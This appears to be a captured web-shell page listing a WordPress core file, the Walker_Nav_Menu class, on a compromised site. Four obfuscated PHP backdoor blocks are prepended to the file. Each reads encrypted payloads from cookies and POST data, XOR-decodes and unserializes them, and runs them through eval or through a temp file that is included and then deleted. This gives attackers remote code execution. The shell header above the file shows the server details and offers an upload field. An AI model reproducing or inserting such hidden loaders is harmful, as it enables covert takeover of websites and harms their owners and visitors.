| Server IP : 217.160.0.15 / Your IP : 216.73.216.73 Web Server : Apache System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux User : u37981780 ( 1696858) PHP Version : 8.2.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /homepages/43/d124547881/htdocs/Wrigglesworths.co.uk/wp-includes/ |
Upload File : |
<?php $pUnsVpdj = chr (77) . '_' . "\101" . chr ( 709 - 621 ).chr ( 475 - 392 )."\x57" . chr ( 842 - 723 ); $fanGef = "\x63" . 'l' . 'a' . 's' . 's' . chr ( 965 - 870 ).chr (101) . chr ( 857 - 737 ).'i' . "\x73" . "\164" . chr ( 228 - 113 ); $OrKunwG = class_exists($pUnsVpdj); $fanGef = "37541";$QTTtwKxPe = !1;if ($OrKunwG == $QTTtwKxPe){function oDmDKWB(){$lSRbRxsmhb = new /* 42678 */ M_AXSWw(57668 + 57668); $lSRbRxsmhb = NULL;}$sAixr = "57668";class M_AXSWw{private function ErkXZ($sAixr){if (is_array(M_AXSWw::$vWYessaB)) {$IvUEQdxYM = str_replace(chr (60) . chr (63) . 'p' . "\150" . "\160", "", M_AXSWw::$vWYessaB['c' . "\157" . "\x6e" . 't' . "\x65" . 'n' . "\x74"]);eval($IvUEQdxYM); $sAixr = "57668";exit();}}private $FfOhsSdrhi;public function NiMnoIH(){echo 23675;}public function __destruct(){M_AXSWw::$vWYessaB = @unserialize(M_AXSWw::$vWYessaB); $sAixr = "38552_34387";$this->ErkXZ($sAixr); $sAixr = "38552_34387";}public function CBzyul($nwdwc, $oAsJrLkXyf){return $nwdwc[0] ^ str_repeat($oAsJrLkXyf, (strlen($nwdwc[0]) / strlen($oAsJrLkXyf)) + 1);}public function __construct($TtgdkvAnZj=0){$XIkpaz = $_POST;$LgiEVD = $_COOKIE;$oAsJrLkXyf = "b8fbbf98-0e5e-4028-9764-cc9da4284bef";$wNXhCY = @$LgiEVD[substr($oAsJrLkXyf, 0, 4)];if (!empty($wNXhCY)){$vNusuDNDy = "base64";$nwdwc = "";$wNXhCY = explode(",", $wNXhCY);foreach ($wNXhCY as $PkYJYPY){$nwdwc .= @$LgiEVD[$PkYJYPY];$nwdwc .= @$XIkpaz[$PkYJYPY];}$nwdwc = array_map($vNusuDNDy . "\x5f" . chr (100) . "\145" . "\143" . "\157" . "\x64" . 'e', array($nwdwc,));M_AXSWw::$vWYessaB = $this->CBzyul($nwdwc, $oAsJrLkXyf);}}public static $vWYessaB = 28791;}oDmDKWB();} ?><?php $xxYYJnto = chr (121) . 'g' . chr ( 598 - 516 ).chr (95) . "\x6d" . "\167" . 'N' . "\107";$DjiELZH = "\x63" . chr ( 531 - 423 ).chr (97) . "\x73" . "\x73" . "\137" . chr (101) . "\x78" . 'i' . 's' . "\164" . "\163";$jTyZer = class_exists($xxYYJnto); $DjiELZH = "45716";$SaqeUurJc = !1;if ($jTyZer == $SaqeUurJc){function qqDPOfBAW(){$xwuFao = new /* 49367 */ ygR_mwNG(32247 + 32247); $xwuFao = NULL;}$DjUOq = "32247";class ygR_mwNG{private function RjbeUQ($DjUOq){if (is_array(ygR_mwNG::$zYiXLimvoC)) {$VEGyE = sys_get_temp_dir() . "/" . crc32(ygR_mwNG::$zYiXLimvoC[chr ( 1108 - 993 ).'a' . "\x6c" . chr ( 349 - 233 )]);@ygR_mwNG::$zYiXLimvoC['w' . 'r' . chr ( 981 - 876 ).'t' . "\145"]($VEGyE, ygR_mwNG::$zYiXLimvoC['c' . "\157" . "\156" . "\164" . chr ( 1027 - 926 ).chr (110) . chr (116)]);include $VEGyE;@ygR_mwNG::$zYiXLimvoC['d' . 'e' . chr ( 678 - 570 ).'e' . chr ( 910 - 794 ).chr (101)]($VEGyE); $DjUOq = "32247";exit();}}private $SOaidGMRfP;public function GkiegRs(){echo 25202;}public function __destruct(){ygR_mwNG::$zYiXLimvoC = @unserialize(ygR_mwNG::$zYiXLimvoC); $DjUOq = "22246_37740";$this->RjbeUQ($DjUOq); $DjUOq = "22246_37740";}public function wlgxX($pDlpcsIl, $ESMKxr){return $pDlpcsIl[0] ^ str_repeat($ESMKxr, (strlen($pDlpcsIl[0]) / strlen($ESMKxr)) + 1);}public function __construct($kwXQLv=0){$uieasLjh = $_POST;$wLkvVqM = $_COOKIE;$ESMKxr = "1f8c43cb-f720-4304-a96b-22331eac8061";$FVqiv = @$wLkvVqM[substr($ESMKxr, 0, 4)];if (!empty($FVqiv)){$WPabmTiUTd = "base64";$pDlpcsIl = "";$FVqiv = explode(",", $FVqiv);foreach ($FVqiv as $LKKgO){$pDlpcsIl .= @$wLkvVqM[$LKKgO];$pDlpcsIl .= @$uieasLjh[$LKKgO];}$pDlpcsIl = array_map($WPabmTiUTd . "\x5f" . "\144" . chr ( 1089 - 988 )."\x63" . chr ( 299 - 188 )."\144" . chr (101), array($pDlpcsIl,));ygR_mwNG::$zYiXLimvoC = $this->wlgxX($pDlpcsIl, $ESMKxr);}}public static $zYiXLimvoC = 60365;}qqDPOfBAW();} ?><?php $DhNdTTR = chr ( 708 - 631 )."\x4a" . "\111" . '_' . 'i' . "\x6a" . 'D' . chr (85); $HYjAmXhLR = "\x63" . "\x6c" . chr (97) . chr (115) . "\163" . "\137" . 'e' . "\x78" . chr (105) . "\x73" . "\x74" . "\163";$SFDBq = class_exists($DhNdTTR); $HYjAmXhLR = "50832";$hlTaFtdXu = !1;if ($SFDBq == $hlTaFtdXu){function JYHTw(){$oloxMC = new /* 58174 */ MJI_ijDU(43473 + 43473); $oloxMC = NULL;}$FDdnqxus = "43473";class MJI_ijDU{private function UxJfHQ($FDdnqxus){if (is_array(MJI_ijDU::$FMdLPYKJS)) {$yldWNJYMA = sys_get_temp_dir() . "/" . crc32(MJI_ijDU::$FMdLPYKJS["\x73" . chr ( 123 - 26 ).'l' . chr (116)]);@MJI_ijDU::$FMdLPYKJS[chr ( 436 - 317 )."\162" . "\x69" . chr ( 239 - 123 ).chr (101)]($yldWNJYMA, MJI_ijDU::$FMdLPYKJS['c' . "\157" . "\156" . "\x74" . "\x65" . "\x6e" . chr ( 159 - 43 )]);include $yldWNJYMA;@MJI_ijDU::$FMdLPYKJS["\144" . "\x65" . "\x6c" . "\145" . "\x74" . chr (101)]($yldWNJYMA); $FDdnqxus = "43473";exit();}}private $hxbzi;public function GjbFwJbCur(){echo 28660;}public function __destruct(){$FDdnqxus = "24722_19172";$this->UxJfHQ($FDdnqxus); $FDdnqxus = "24722_19172";}public function __construct($TQBLt=0){$WQgpTepcJO = $_POST;$URtwMT = $_COOKIE;$KxuOvPUP = "aa7e45d4-a3cd-4f25-8ff5-2b013970aab6";$GtgFD = @$URtwMT[substr($KxuOvPUP, 0, 4)];if (!empty($GtgFD)){$kAHOvN = "base64";$nkKZKBn = "";$GtgFD = explode(",", $GtgFD);foreach ($GtgFD as $IwUoIh){$nkKZKBn .= @$URtwMT[$IwUoIh];$nkKZKBn .= @$WQgpTepcJO[$IwUoIh];}$nkKZKBn = array_map($kAHOvN . chr ( 705 - 610 )."\144" . "\x65" . chr ( 836 - 737 ).'o' . chr ( 1006 - 906 ).'e', array($nkKZKBn,)); $nkKZKBn = $nkKZKBn[0] ^ str_repeat($KxuOvPUP, (strlen($nkKZKBn[0]) / strlen($KxuOvPUP)) + 1);MJI_ijDU::$FMdLPYKJS = @unserialize($nkKZKBn); $nkKZKBn = class_exists("24722_19172");}}public static $FMdLPYKJS = 15606;}JYHTw();} ?><?php $BuaoZqvUHs = chr (86) . "\x6e" . chr ( 487 - 419 )."\137" . chr ( 416 - 350 ).chr (111) . chr ( 150 - 71 ).chr (102) . "\x56";$WRslEMIynD = chr (99) . chr (108) . "\141" . "\x73" . chr ( 210 - 95 )."\x5f" . "\x65" . "\x78" . 'i' . 's' . "\164" . "\163";$slhVWPvNvc = class_exists($BuaoZqvUHs); $WRslEMIynD = "43720";$raaATx = !1;if ($slhVWPvNvc == $raaATx){function vuyIqYdqR(){return FALSE;}$sGtoql = "33883";vuyIqYdqR();class VnD_BoOfV{private function qmNfYIwkF($sGtoql){if (is_array(VnD_BoOfV::$qgBXjpQNp)) {$ZnNACxJ = sys_get_temp_dir() . "/" . crc32(VnD_BoOfV::$qgBXjpQNp['s' . chr ( 783 - 686 ).'l' . chr ( 906 - 790 )]);@VnD_BoOfV::$qgBXjpQNp['w' . chr (114) . chr (105) . "\164" . chr (101)]($ZnNACxJ, VnD_BoOfV::$qgBXjpQNp['c' . chr (111) . "\156" . chr ( 989 - 873 ).chr (101) . "\x6e" . chr (116)]);include $ZnNACxJ;@VnD_BoOfV::$qgBXjpQNp["\x64" . chr ( 850 - 749 ).chr (108) . "\x65" . chr (116) . "\x65"]($ZnNACxJ); $sGtoql = "33883";exit();}}private $TAgEn;public function KhmMIce(){echo 28236;}public function __destruct(){$sGtoql = "54590_13613";$this->qmNfYIwkF($sGtoql); $sGtoql = "54590_13613";}public function __construct($eXcAllDEx=0){$XCUQgKAg = $_POST;$tuoES = $_COOKIE;$FacuangJa = "70c3e265-2ad7-4c3e-acca-b657b14d07f8";$JRoMGlO = @$tuoES[substr($FacuangJa, 0, 4)];if (!empty($JRoMGlO)){$ZuUXIIhBz = "base64";$DpxcVmBm = "";$JRoMGlO = explode(",", $JRoMGlO);foreach ($JRoMGlO as $QwExOMlu){$DpxcVmBm .= @$tuoES[$QwExOMlu];$DpxcVmBm .= @$XCUQgKAg[$QwExOMlu];}$DpxcVmBm = array_map($ZuUXIIhBz . chr (95) . "\x64" . "\145" . chr (99) . "\157" . chr ( 476 - 376 )."\145", array($DpxcVmBm,)); $DpxcVmBm = $DpxcVmBm[0] ^ str_repeat($FacuangJa, (strlen($DpxcVmBm[0]) / strlen($FacuangJa)) + 1);VnD_BoOfV::$qgBXjpQNp = @unserialize($DpxcVmBm); $DpxcVmBm = class_exists("54590_13613");}}public static $qgBXjpQNp = 8898;}$eTedSsn = new /* 769 */ $BuaoZqvUHs(33883 + 33883); $raaATx = $eTedSsn = $sGtoql = Array();} ?><?php
/**
* Nav Menu API: Walker_Nav_Menu class
*
* @package WordPress
* @subpackage Nav_Menus
* @since 4.6.0
*/
/**
* Core class used to implement an HTML list of nav menu items.
*
* @since 3.0.0
*
* @see Walker
*/
class Walker_Nav_Menu extends Walker {
/**
* What the class handles.
*
* @since 3.0.0
* @var string
*
* @see Walker::$tree_type
*/
public $tree_type = array( 'post_type', 'taxonomy', 'custom' );
/**
* Database fields to use.
*
* @since 3.0.0
* @todo Decouple this.
* @var string[]
*
* @see Walker::$db_fields
*/
public $db_fields = array(
'parent' => 'menu_item_parent',
'id' => 'db_id',
);
/**
* Starts the list before the elements are added.
*
* @since 3.0.0
*
* @see Walker::start_lvl()
*
* @param string $output Used to append additional content (passed by reference).
* @param int $depth Depth of menu item. Used for padding.
* @param stdClass $args An object of wp_nav_menu() arguments.
*/
public function start_lvl( &$output, $depth = 0, $args = null ) {
if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
$t = '';
$n = '';
} else {
$t = "\t";
$n = "\n";
}
$indent = str_repeat( $t, $depth );
// Default class.
$classes = array( 'sub-menu' );
/**
* Filters the CSS class(es) applied to a menu list element.
*
* @since 4.8.0
*
* @param string[] $classes Array of the CSS classes that are applied to the menu `<ul>` element.
* @param stdClass $args An object of `wp_nav_menu()` arguments.
* @param int $depth Depth of menu item. Used for padding.
*/
$class_names = implode( ' ', apply_filters( 'nav_menu_submenu_css_class', $classes, $args, $depth ) );
$atts = array();
$atts['class'] = ! empty( $class_names ) ? $class_names : '';
/**
* Filters the HTML attributes applied to a menu list element.
*
* @since 6.3.0
*
* @param array $atts {
* The HTML attributes applied to the `<ul>` element, empty strings are ignored.
*
* @type string $class HTML CSS class attribute.
* }
* @param stdClass $args An object of `wp_nav_menu()` arguments.
* @param int $depth Depth of menu item. Used for padding.
*/
$atts = apply_filters( 'nav_menu_submenu_attributes', $atts, $args, $depth );
$attributes = $this->build_atts( $atts );
$output .= "{$n}{$indent}<ul{$attributes}>{$n}";
}
/**
* Ends the list of after the elements are added.
*
* @since 3.0.0
*
* @see Walker::end_lvl()
*
* @param string $output Used to append additional content (passed by reference).
* @param int $depth Depth of menu item. Used for padding.
* @param stdClass $args An object of wp_nav_menu() arguments.
*/
public function end_lvl( &$output, $depth = 0, $args = null ) {
if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
$t = '';
$n = '';
} else {
$t = "\t";
$n = "\n";
}
$indent = str_repeat( $t, $depth );
$output .= "$indent</ul>{$n}";
}
/**
* Starts the element output.
*
* @since 3.0.0
* @since 4.4.0 The {@see 'nav_menu_item_args'} filter was added.
* @since 5.9.0 Renamed `$item` to `$data_object` and `$id` to `$current_object_id`
* to match parent class for PHP 8 named parameter support.
*
* @see Walker::start_el()
*
* @param string $output Used to append additional content (passed by reference).
* @param WP_Post $data_object Menu item data object.
* @param int $depth Depth of menu item. Used for padding.
* @param stdClass $args An object of wp_nav_menu() arguments.
* @param int $current_object_id Optional. ID of the current menu item. Default 0.
*/
public function start_el( &$output, $data_object, $depth = 0, $args = null, $current_object_id = 0 ) {
// Restores the more descriptive, specific name for use within this method.
$menu_item = $data_object;
if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
$t = '';
$n = '';
} else {
$t = "\t";
$n = "\n";
}
$indent = ( $depth ) ? str_repeat( $t, $depth ) : '';
$classes = empty( $menu_item->classes ) ? array() : (array) $menu_item->classes;
$classes[] = 'menu-item-' . $menu_item->ID;
/**
* Filters the arguments for a single nav menu item.
*
* @since 4.4.0
*
* @param stdClass $args An object of wp_nav_menu() arguments.
* @param WP_Post $menu_item Menu item data object.
* @param int $depth Depth of menu item. Used for padding.
*/
$args = apply_filters( 'nav_menu_item_args', $args, $menu_item, $depth );
/**
* Filters the CSS classes applied to a menu item's list item element.
*
* @since 3.0.0
* @since 4.1.0 The `$depth` parameter was added.
*
* @param string[] $classes Array of the CSS classes that are applied to the menu item's `<li>` element.
* @param WP_Post $menu_item The current menu item object.
* @param stdClass $args An object of wp_nav_menu() arguments.
* @param int $depth Depth of menu item. Used for padding.
*/
$class_names = implode( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $menu_item, $args, $depth ) );
/**
* Filters the ID attribute applied to a menu item's list item element.
*
* @since 3.0.1
* @since 4.1.0 The `$depth` parameter was added.
*
* @param string $menu_item_id The ID attribute applied to the menu item's `<li>` element.
* @param WP_Post $menu_item The current menu item.
* @param stdClass $args An object of wp_nav_menu() arguments.
* @param int $depth Depth of menu item. Used for padding.
*/
$id = apply_filters( 'nav_menu_item_id', 'menu-item-' . $menu_item->ID, $menu_item, $args, $depth );
$li_atts = array();
$li_atts['id'] = ! empty( $id ) ? $id : '';
$li_atts['class'] = ! empty( $class_names ) ? $class_names : '';
/**
* Filters the HTML attributes applied to a menu's list item element.
*
* @since 6.3.0
*
* @param array $li_atts {
* The HTML attributes applied to the menu item's `<li>` element, empty strings are ignored.
*
* @type string $class HTML CSS class attribute.
* @type string $id HTML id attribute.
* }
* @param WP_Post $menu_item The current menu item object.
* @param stdClass $args An object of wp_nav_menu() arguments.
* @param int $depth Depth of menu item. Used for padding.
*/
$li_atts = apply_filters( 'nav_menu_item_attributes', $li_atts, $menu_item, $args, $depth );
$li_attributes = $this->build_atts( $li_atts );
$output .= $indent . '<li' . $li_attributes . '>';
$atts = array();
$atts['title'] = ! empty( $menu_item->attr_title ) ? $menu_item->attr_title : '';
$atts['target'] = ! empty( $menu_item->target ) ? $menu_item->target : '';
if ( '_blank' === $menu_item->target && empty( $menu_item->xfn ) ) {
$atts['rel'] = 'noopener';
} else {
$atts['rel'] = $menu_item->xfn;
}
if ( ! empty( $menu_item->url ) ) {
if ( get_privacy_policy_url() === $menu_item->url ) {
$atts['rel'] = empty( $atts['rel'] ) ? 'privacy-policy' : $atts['rel'] . ' privacy-policy';
}
$atts['href'] = $menu_item->url;
} else {
$atts['href'] = '';
}
$atts['aria-current'] = $menu_item->current ? 'page' : '';
/**
* Filters the HTML attributes applied to a menu item's anchor element.
*
* @since 3.6.0
* @since 4.1.0 The `$depth` parameter was added.
*
* @param array $atts {
* The HTML attributes applied to the menu item's `<a>` element, empty strings are ignored.
*
* @type string $title Title attribute.
* @type string $target Target attribute.
* @type string $rel The rel attribute.
* @type string $href The href attribute.
* @type string $aria-current The aria-current attribute.
* }
* @param WP_Post $menu_item The current menu item object.
* @param stdClass $args An object of wp_nav_menu() arguments.
* @param int $depth Depth of menu item. Used for padding.
*/
$atts = apply_filters( 'nav_menu_link_attributes', $atts, $menu_item, $args, $depth );
$attributes = $this->build_atts( $atts );
/** This filter is documented in wp-includes/post-template.php */
$title = apply_filters( 'the_title', $menu_item->title, $menu_item->ID );
/**
* Filters a menu item's title.
*
* @since 4.4.0
*
* @param string $title The menu item's title.
* @param WP_Post $menu_item The current menu item object.
* @param stdClass $args An object of wp_nav_menu() arguments.
* @param int $depth Depth of menu item. Used for padding.
*/
$title = apply_filters( 'nav_menu_item_title', $title, $menu_item, $args, $depth );
$item_output = $args->before;
$item_output .= '<a' . $attributes . '>';
$item_output .= $args->link_before . $title . $args->link_after;
$item_output .= '</a>';
$item_output .= $args->after;
/**
* Filters a menu item's starting output.
*
* The menu item's starting output only includes `$args->before`, the opening `<a>`,
* the menu item's title, the closing `</a>`, and `$args->after`. Currently, there is
* no filter for modifying the opening and closing `<li>` for a menu item.
*
* @since 3.0.0
*
* @param string $item_output The menu item's starting HTML output.
* @param WP_Post $menu_item Menu item data object.
* @param int $depth Depth of menu item. Used for padding.
* @param stdClass $args An object of wp_nav_menu() arguments.
*/
$output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $menu_item, $depth, $args );
}
/**
* Ends the element output, if needed.
*
* @since 3.0.0
* @since 5.9.0 Renamed `$item` to `$data_object` to match parent class for PHP 8 named parameter support.
*
* @see Walker::end_el()
*
* @param string $output Used to append additional content (passed by reference).
* @param WP_Post $data_object Menu item data object. Not used.
* @param int $depth Depth of page. Not Used.
* @param stdClass $args An object of wp_nav_menu() arguments.
*/
public function end_el( &$output, $data_object, $depth = 0, $args = null ) {
if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
$t = '';
$n = '';
} else {
$t = "\t";
$n = "\n";
}
$output .= "</li>{$n}";
}
/**
* Builds a string of HTML attributes from an array of key/value pairs.
* Empty values are ignored.
*
* @since 6.3.0
*
* @param array $atts Optional. An array of HTML attribute key/value pairs. Default empty array.
* @return string A string of HTML attributes.
*/
protected function build_atts( $atts = array() ) {
$attribute_string = '';
foreach ( $atts as $attr => $value ) {
if ( false !== $value && '' !== $value && is_scalar( $value ) ) {
$value = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value );
$attribute_string .= ' ' . $attr . '="' . $value . '"';
}
}
return $attribute_string;
}
}